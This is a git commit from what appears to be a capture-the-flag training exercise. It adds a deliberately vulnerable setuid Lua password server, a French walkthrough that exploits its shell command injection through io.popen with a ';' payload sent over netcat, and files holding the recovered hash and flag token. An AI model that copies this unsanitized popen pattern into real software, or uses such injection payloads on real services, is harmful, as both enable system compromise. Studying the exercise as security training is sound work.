level 11
This commit is contained in:
parent
059496d5c2
commit
1f46a1fe42
|
@ -0,0 +1,34 @@
|
||||||
|
#!/usr/bin/env lua
|
||||||
|
local socket = require("socket")
|
||||||
|
local server = assert(socket.bind("127.0.0.1", 5151))
|
||||||
|
|
||||||
|
function hash(pass)
|
||||||
|
prog = io.popen("echo "..pass.." | sha1sum", "r")
|
||||||
|
data = prog:read("*all")
|
||||||
|
prog:close()
|
||||||
|
|
||||||
|
data = string.sub(data, 1, 40)
|
||||||
|
|
||||||
|
return data
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
while 1 do
|
||||||
|
local client = server:accept()
|
||||||
|
client:send("Password: ")
|
||||||
|
client:settimeout(60)
|
||||||
|
local l, err = client:receive()
|
||||||
|
if not err then
|
||||||
|
print("trying " .. l)
|
||||||
|
local h = hash(l)
|
||||||
|
|
||||||
|
if h ~= "f05d1d066fb246efe0c6f7d095f909a7a0cf34a0" then
|
||||||
|
client:send("Erf nope..\n");
|
||||||
|
else
|
||||||
|
client:send("Gz you dumb*\n")
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
client:close()
|
||||||
|
end
|
|
@ -0,0 +1,26 @@
|
||||||
|
* Dans le home il y a un script lua
|
||||||
|
|
||||||
|
$ ll
|
||||||
|
> rwsr-sr-x 1 flag11 level11 668 Mar 5 2016 level11.lua*
|
||||||
|
|
||||||
|
* Ca semble etre un server. On tante de se conecter au localhost avec le port 5151
|
||||||
|
$ nc localhost 5151
|
||||||
|
> Password: kjksd
|
||||||
|
> Erf nope..
|
||||||
|
|
||||||
|
* Il semblerait donc que ce soit bien a ce stript lua que l'on comunique via netcat.
|
||||||
|
* On peut trouver le nombre f05d1d066fb246efe0c6f7d095f909a7a0cf34a0.
|
||||||
|
* Google nous apprend que c'est le hash de "NotSoEasy" toute fois ce mot de passe ne donne rien
|
||||||
|
|
||||||
|
* Par contre en observant mieux on voit qu'une chaine ne charactere comptenant
|
||||||
|
* le mot de passe que l'on envoie semble etre executer en shell avec les back quot line 11
|
||||||
|
* io.popen() lance un souproces et execute la chaine e character qui lui est envoyer.
|
||||||
|
* On va essayer de lancer getflag en arretant la comande avec ';'
|
||||||
|
|
||||||
|
$ nc localhost 5151
|
||||||
|
> Password: ; /bin/getevn > /tmp/bingo
|
||||||
|
|
||||||
|
$ cat /tmp/bingo
|
||||||
|
> Check flag.Here is your token : fa6v5ateaw21peobuub8ipe6s
|
||||||
|
|
||||||
|
BINGO
|
|
@ -0,0 +1 @@
|
||||||
|
f05d1d066fb246efe0c6f7d095f909a7a0cf34a0
|
|
@ -0,0 +1 @@
|
||||||
|
fa6v5ateaw21peobuub8ipe6s
|
Loading…
Reference in New Issue